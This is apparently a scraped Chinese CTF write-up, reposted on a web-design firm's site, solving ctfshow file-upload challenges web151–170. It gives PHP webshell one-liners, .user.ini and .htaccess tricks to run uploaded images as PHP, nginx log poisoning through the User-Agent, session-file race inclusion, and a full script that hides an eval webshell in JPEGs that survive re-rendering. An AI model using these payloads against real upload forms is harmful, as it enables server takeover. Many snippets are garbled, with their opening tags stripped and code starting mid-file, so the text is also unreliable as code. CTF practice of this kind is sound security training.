今天就跟大家聊聊有关php中如何进行ctfshow文件上传,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
成都网站制作,成都营销型网站-创新互联公司科技公司专注营销型网站建设及定制型网站开发。致力为您建设最有价值的网站,服务热线:18982081108。
web151~前端验证
直接抓包修改后缀。
web152~前端+MIME
直接抓包修改后缀。
web153~.user.ini
https://www.php.net/manual/en/ini.list.php
使用条件:
(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式
(2)上传目录下要有可执行的php文件
使用方式:
上传一张图片马
上传
.user.iniauto_prepend_file=ma.png访问
.user.ini同级目录中的一个php文件。
本题目中有 /upload/index.php,所以可以操作。
题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)
web154~文件内容过滤php
上来测试发现是黑名单过滤的。
我们还可以上传 .user.ini,并且upload/index.php真好存在。
那么我们上传一张图片马,
发现被拦截了。
文件上传失败,失败原因:文件内容不合规
猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。
那么我们呢绕过就可以了。
echo '123';?> # 不可 =eval($_POST['a']);?> # 不可用
web155~文件内容过滤php
测试正常的 png 图片可以上传。
对图片内容过滤php
绕过 =eval($_POST['a']);
步骤跟上关一样。。。。。
web156~过滤 php, [
测试,又是文件内容过滤了 php.
紧接着发现事情没这么简单,还过滤了[,这给传参造成了一定的困难。
但是我们可以直接
=system('cat ../flag.???');
=eval($_POST{'a'}); # 用 {} 代替 []web157~过滤分号
nginx/1.18.0 (Ubuntu) PHP/5.6.40
文件名黑名单
经测试,对文件内容过滤了 php、[、{、 ;
上传.user.ini
我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>结束标志。
上传 2.png
=system('ls ../')?>
=system('cat ../*')?>访问upload/index.php
web158~过滤分号
和web157解法相同。
web159~过滤括号
经测试,对文件内容过滤了 php、[、{、 ;、 (
问题不大,不能用函数了。
那我们用反引号代替system()
=`cat ../*`?>
web160~过滤反引号,包含日志
经测试,对文件内容过滤了 php、[、{、 ;、 (、 反引号 、空格。
好家伙。包含日志文件,但发现 log也被过滤了。那就进行拼接。
上传.user.ini后,在上传 ma.png
=include"/var/lo"."g/nginx/access.lo"."g"?>
看到页面回显,确实包含了。
想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E
还是再UA出比较好。
修改UA User-Agent:
然后成功getshell.
web161~检测文件头

发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。

上传 GIF89a成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。
其余操作和上官相同。
web162~包含session文件
测试,这关也检测了文件头,但是同时过滤掉了 点 .
我们可以看到这样绕过
.user.ini :
GIF89a auto_prepend_file=ma
但上传ma文件,同样不能包含日志文件。这时候就需要包含session文件了。
这里还过滤了flag
上传 ma
GIF89a =include"/tmp/sess_fllag"?>
那么我们就开始构造,session文件竞争包含。
构造

一直上传,内容为写后门到 a.php
然后一直包含session文件。

可以看到成功包含,那么此时我们去upload/a.php,成功访问,并测试后门成功写入。

可以参考文件包含篇:
还有 利用session.upload_progress进行文件包含
web163~包含session文件
过滤还是前面的过滤。
操作和上关一样的。
这里有upload/index.php,所以我们其实可以直接利用此文件包含Session文件。
上传.user.ini:
GIF89a auto_prepend_file=/tmp/sess_fllag
然后就开始session文件竞争上传和包含。

成功。
这是题目源码:
0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}
sleep(2);
clearUpload();
echo json_encode($ret);web164~png二次渲染
测试了一下。
{"code":3,"msg":"只允许上传png格式图片"}白名单验证。
找了一张测试可以成功上传png图片。
还发现
download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png
可以随意修改图片又会被检测,故做图片马。
但是一般的图片马还绕不过,应该是做了二次渲染。
所以可以上传二次渲染绕过的图片,在做文件包含即可。
生成脚本:
*/
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
web165~jpg二次渲染
测试只能上传 jpg.
{"code":3,"msg":"只允许上传jpg格式图片"}也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。
那么就用到 jpg二次渲染绕过了。
拿脚本
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "=eval(\$_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?> 先上传一张图片,然后下载下来,然后利用脚本生成。
php jpg_payload.php

再继续上传,
发现这张图片不行,再来一张。

成功。
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.
web166~zip文件上传包含
尝试多次,发现zip 文件可上传。

但是上传直接编辑后门一句话的压缩包。


web167~.htaccess

但这只是前端限制。
可以看到,只允许jpg上传。
抓包测试了一下,是黑名单。
开局有个提示httpd
测试apache解析漏洞没解析。
测试.htaccess成功。
SetHandler application/x-httpd-php
然后上传带有马的 1.jpg即可。
但是这里浏览器响应回来的是 nginx呀,坑。
web168~后门免杀
基础免杀
测试,会检测_GET、_POST。
可抓包后修改直接上传php文件。
反引号
反引号达到命令执行的效果。
把源码拔下来
0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}
echo json_encode($ret);本来还想着包含一波日志。
字符拼接
$_REQUEST
数学函数
这里
其他函数构造
web169~.user.ini包含日志
测试发现
抓包需修改
Content-Type: image/png文件名后缀随意。
看看文件内容过滤了啥 <> ? 等等。
只能进行
.user.ini日志文件包含了。思路: 上传
.user.iniauto_prepend_file=/var/log/nginx/access.log然后随便上传个php文件即可。
然后改UA为一句话即可。
web170
测试上传zip,抓包修改,后缀为
php, MIME类型为image/png.包含
.user.ini日志文件
/var/log/nginx/access.log看完上述内容,你们对php中如何进行ctfshow文件上传有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。
本文名称:php中如何进行ctfshow文件上传
浏览地址:http://www.jxjierui.cn/article/iidpoj.html


咨询
建站咨询
